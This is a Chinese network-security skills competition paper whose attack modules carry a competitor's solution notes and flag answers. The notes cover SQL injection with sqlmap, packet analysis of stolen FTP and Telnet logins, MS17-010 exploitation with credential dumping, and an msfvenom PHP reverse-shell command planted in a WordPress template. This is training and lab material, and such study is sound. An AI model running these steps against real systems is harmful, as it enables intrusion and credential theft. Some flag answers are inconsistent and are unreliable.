模块A 基础设施设置/安全加固(200分)
一、项目和任务描述:
假定你是某企业的网络安全工程师,对于企业的服务器系统,根据任务要求确保各服务正常运行,并通过综合运用登录和密码策略、流量完整性保护策略、事件监控策略、防火墙策略等多种安全策略来提升服务器系统的网络安全防御能力。
二、服务器环境说明
WindowsServer用户名:administrator,密码:123456
LinuxServer用户名:root,密码:123456
数据库用户名:root,密码:123456
三、说明:
1.所有截图要求截图界面字体清晰,并粘贴于相应题目要求的位置;
2.文件名命名及保存:网络安全模块A-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。
A-1:Windows操作系统安全配置
请对服务器WindowsServer按要求进行相应的设置,提高服务器的安全性。
1.设置密码策略必须同时满足大小写字母、数字、特殊字符,最小密码长度不少于8个字符,密码最长使用期限为15天。将服务器上密码策略配置信息截图;
2.在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;
3.一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账号锁定策略配置信息截图;
4.设置远程桌面用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图;
5.通过SSL(TLS 1.0)加密服务器的远程桌面服务,将RDP-Tcp属性对应的配置界面截图;
6.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图;
7.开启IIS的日志审计记录,日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、服务器端口、方法,将W3C日志记录字段的配置界面截图;
8.设置网站的最大并发连接数为1000,网站连接超时为60s,将编辑网站限制的配置界面截图;
9.禁用IIS内核缓存,避免对方利用ms15_034进行DOS攻击,出现蓝屏的现象,将编辑输出缓存设置的配置界面截图;
10. 设置user1用户只能在上班时间(周一至周五的9:00~18:00)可以登录。将user1的登录时间配置界面截图。
A-2:Linux操作系统安全配置
请对服务器LinuxServer按要求进行相应的设置,提高服务器的安全性。
1.设置最小密码长度不少于8个字符,密码最长使用期限为15天。将/etc/login.defs配置文件中对应的部分截图;
2.设置在用户登录系统时,会有“For authorized users only”提示信息,将登录系统时系统弹出提示信息界面截图;
3.设置root用户的计划任务。每天早上7:50自动开启vsftpd服务,22点50时关闭;每周六的7:30时,重新启动vsftpd服务。使用crontab –l 查看计划任务,将回显结果截图;
4.禁止匿名用户登录vsftpd服务,将/etc/vsftpd/vsftpd.conf配置文件中对应的部分截图;
5.限制客户端连接vsftpd服务时,同一个IP最多只能打开两个连接,将/etc/vsftpd/vsftpd.conf配置文件中对应的部分截图;
6.将SSH服务的端口号修改为2222 ,使用命令netstat -anltp | grep sshd查看SSH服务端口信息,将回显结果截图;
7.禁止root用户通过SSH远程登录,将/etc/ssh/sshd_config 配置文件中对应的部分截图;
8.禁止mysql服务以管理员权限的账号运行,将/etc/my.cnf配置文件中对应的部分截图;
9.删除默认数据库test, 然后使用show databases;命令查看当前的数据库信息,将回显结果截图;
10.将数据库用户user1的密码使用MD5加密,然后在数据库中使用select password from user where user=’user1’;命令查看user1的密码,将回显结果截图。
模块B 安全事件响应/网络安全数据取证/应用安全(400分)
B-1:数据库服务深入测试
任务环境说明:
服务器场景:Server2101
服务器场景操作系统:未知(关闭连接)
- 通过分析靶机Server2101页面信息,寻找页面,将WEB服务存在SQL注入的页面名称作为Flag提交;
nmap -p- 扫描 发现80和443有http,https服务,访问网站
通过猜测,可得知此页面有sql注入
- 通过本地PC中的深入测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务的数据库名称作为Flag提交;
直接sqlmap扫描
flag:[test]
通过本地PC中的深入测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务用户的表名称作为Flag提交;
flag:[iuser]
通过本地PC中的深入测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB登陆用户admin用户的明文密码作为Flag提交;
flag:[123321]
B-2:Wireshark数据包分析
任务环境说明:
服务器场景:FTPServer220223
服务器场景操作系统:未知(关闭连接)
FTP用户名:wireshark0051密码:wireshark0051
从靶机服务器的FTP上下载wireshark0051.pcap数据包文件,找出获取到的可成功登录目标服务器FTP的账号密码,并将获取到的账号密码作为Flag值(用户名与密码之间以英文逗号分隔,例如:root,toor)提交;
分析语句:ftp and tcp contains “Login”
追踪最后一个数据Tcp流
Flag:[admin:admin654321]
继续分析数据包wireshark0051.pcap,找出黑客使用获取到的账号密码登录FTP的时间,并将黑客登录FTP的时间作为Flag值(例如:14:22:08)提交;
Flag:[1:33:08]
继续分析数据包wireshark0051.pcap,找出连接FTP服务器时获取到的FTP服务版本号,并将获取到的FTP服务版本号作为Flag值提交;
继续分析那一条数据
Flag:[3.0.2]
- 继续分析数据包wireshark0051.pcap,找出成功登录FTP服务器后执行的第一条命令,并将执行的命令作为Flag值提交;
继续分析那一条数据
发现回显为SYST
flag:[dir]
- 继续分析数据包wireshark0051.pcap,找出成功登录FTP服务器后下载的关键文件,并将下载的文件名称作为Flag值提交;
接上数据
继续分析数据包wireshark0051.pcap,找出暴力破解目标服务器Telnet服务并成功获取到的用户名与密码,并将获取到的用户名与密码作为Flag值(用户名与密码之间以英文逗号分隔,例如:root,toor)提交;
分析语句:telnet and tcp contains “pass”
追踪最后一个数据tcp流
字符串:tcp.stream eq 23
Flag:[rroooott:toor654321]
继续分析数据包wireshark0051.pcap,找出在服务器网站根目录下添加的文件,并将该文件的文件名称作为Flag值提交;
把整个对话替换成10.1.128.11:47638 → 10.1.128.9:23 (328 bytes)
flag:[admin654321.php]
- 继续分析数据包wireshark0051.pcap,找出在服务器系统中添加的用户,并将添加的用户名与密码作为Flag值(用户名与密码之间以英文逗号分隔,例如:root,toor)提交。
flag:[user123:123456]
B-3:Windows操作系统深入测试
任务环境说明:
服务器场景:Server2105
服务器场景操作系统:Windows(版本不详)(关闭连接)
Ms17-010
- 通过本地PC中深入测试平台Kali对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中445端口对应的服务版本信息字符串作为Flag值提交;
nmap -p- -sV ip 扫描靶机
flag:[microsoft-ds]
- 通过本地PC中深入测试平台Kali对服务器场景进行深入测试,将该场景网络连接信息中的DNS信息作为Flag值 (例如:114.114.114.114) 提交;
进入msf,调用ms17-010这个模块
设置靶机ip
利用kiwi获取管理员密码
获取到管理员密码,其他的题目就迎刃而解了!
直接远程登录就行
flag:[121.212.121.212]
- 通过本地PC中深入测试平台Kali对服务器场景进行渗透测试,将该场景中的当前最高账户管理员的密码作为Flag值提交;
flag:[P@ssw0rd]
通过本地PC中深入测试平台Kali对服务器场景进行深入测试,将该场景桌面上111文件夹中唯一一个后缀为.docx文件的文件名称作为Flag值提交;
flag:[flag123456789]
- 通过本地PC中深入测试平台Kali对服务器场景进行深入测试,将该场景桌面上111文件夹中唯一一个后缀为.docx文件的文档内容作为Flag值提交;
flag:[846548795432]
- 通过本地PC中深入测试平台Kali对服务器场景进行深入测试,将该场景桌面上222文件夹中唯一一个图片中的英文单词作为Flag值提交;
B-4:系统利用与提权
任务环境说明:
服务器场景:PYsystem001
服务器场景操作系统:Ubuntu(显示链接)
服务器用户名:未知 密码:未知
这题我在江西省赛中写过一个方法,我这里换一个方法
- 使用nmap扫描靶机系统,将靶机开放的端口号按从小到大的顺序作为FLAG(形式:[端口1,端口2…,端口n])提交;
nmap -p- ip 扫描靶机
flag:[443,8080]
- 通过上述端口访问靶机系统,使用弱口令进行登录,将正确的用户名和密码作为FLAG(形式:[用户名,密码])提交;
扫描靶机后台网址:dirb http://172.16.105.245:8080/
访问后台,弱口令进去
flag:[admin:123456]
利用Kali深入机生成反弹木马,将生成木马命令执行后提示的第四行的首个单词作为FLAG(形式:[单词])提交;
使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=886 -f raw > shell.php来生成php格式的反弹木马脚
本,上述指令部分选项的作用如下:
-p:指定payload 为php/meterpreter/reverse_tcp;
-f:设置输出格式(raw)
flag:[Payload]
对上述木马文件进行修改后上传到靶机系统中,使用MSF开启监听,将获得的当前权限的用户名作为FLAG(形式:[用户名])提交;
MSF会把生成的PHP 反弹木马文件保存为shell.php,我们使用命令cat shell.php
来查看木马的结构,在上传后门到被测主机之前,首先要删除脚本前面的注释符号/*。未删除注释的源码:
简单阅读发现该木马主要是通过靶机中的php函数来建立套接字与深入机进行通信的。那么也就意味着我们可以通过在本地使用nc
来监听套接字连接过来端口实现远程控制。接下来使用命令msfconsole打开metasploit深入测试平台,
使用命令use exploit/multi/handler调用后门模块进行利用,然后使用命令set payload php/meterpreter_reverse_tcp
设置该模块所使用的payload载荷为php反弹shell载荷,填充完整必须要配置的参数(LHOST、LPORT)
最后使用命令exploit启动对8888端口进行监听。
将木马源码复制出来上传到靶机,替换掉服务器的404.php页面内容,在左侧仪表盘中选择外观,点击编辑,然后进入Twenty
Thirteen的404模板编辑页面,将上面生成的php木马覆盖到该页面中
更新完成后,使用火狐浏览器来访问http://172.16.105.246/wordpress/404.php来触发php反弹木马。
接下来步骤和之前我的那篇博客一样
查看系统内核版本信息,将系统内核版本号作为FLAG(形式:[版本号])提交;
在Kali攻击机中查找可使用的源码,将找到的源码文件名作为FLAG(形式:[文件名])提交;
利用上述源码后获得到的靶机/root下的唯一.txt文件的文件名作为FLAG(形式:[文件名])提交;
利用上述源码后将获得到的靶机/root下的唯一.txt文件的文件内容作为FLAG(形式:[文件内容])提交。
B-5:网页渗透
任务环境说明:
服务器场景:Server2120
服务器场景操作系统:未知(封闭靶机)
用户名:未知 密码:未知
由于这题的环境我没有,我用的是和它相似的环境来尝试的,我的步骤只能做来参考
- 访问服务器的网站主页,猜测后台数据库中本网页中应用的库名称长度,将长度作为flag提交;
由题可知,这题的靶机有一个web服务,我们可以先用dirb扫描出后台来
- 访问服务器的网站主页,猜测后台数据库中本网页中应用的库名称,将名称作为flag提交;
接下来我们使用sqlmap来进行盲注
通过扫描后台网站存在注入点
flag:“5”
- 访问服务器的网站主页,猜测后台数据库中本页面中应用的表名称长度,将表名称长度作为flag提交;
flag:"4’
- 访问服务器的网站主页,猜测后台数据库中本网页中应用的表名称,将名称作为flag提交
flag:“user”
- 访问服务器的网站主页,猜测后台数据库中本页面中第二个应用的字段名称,将名作为flag提交。
flag:“hello2”
- 访问服务器的网站主页,猜测后台数据库中本页面中ID为1的用户名,将用户名作为flag提交。
模块C CTF夺旗-攻击(200分)
一、项目和任务描述:
假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录答题平台。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
靶机服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;
3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;
4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;
5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;
6.本环节不予补时。
模块D CTF夺旗-防御(200分)
一、项目和任务描述:
假定各位选手是某安全企业的网络安全工程师,负责若干服务器的渗透测试与安全防护,这些服务器可能存在着各种问题和漏洞。你需要尽快对这些服务器进行渗透测试与安全防护。每个参赛队拥有专属的堡垒机服务器,其他队不能访问。参赛选手通过扫描、渗透测试等手段检测自己堡垒服务器中存在的安全缺陷,进行针对性加固,从而提升系统的安全防御性能。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录需要加固的堡垒服务器。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
堡垒服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.堡垒服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.堡垒服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.堡垒服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.堡垒服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.每位选手需要对加固点和加固过程截图,并自行制作系统防御实施报告,最终评分以实施报告为准;
2.系统加固时需要保证堡垒服务器对外提供服务的可用性;
3.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
4.本环节不予补时。
二、说明:
1.所有截图要求截图界面、字体清晰;
2.文件名命名及保存:网络安全模块D-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。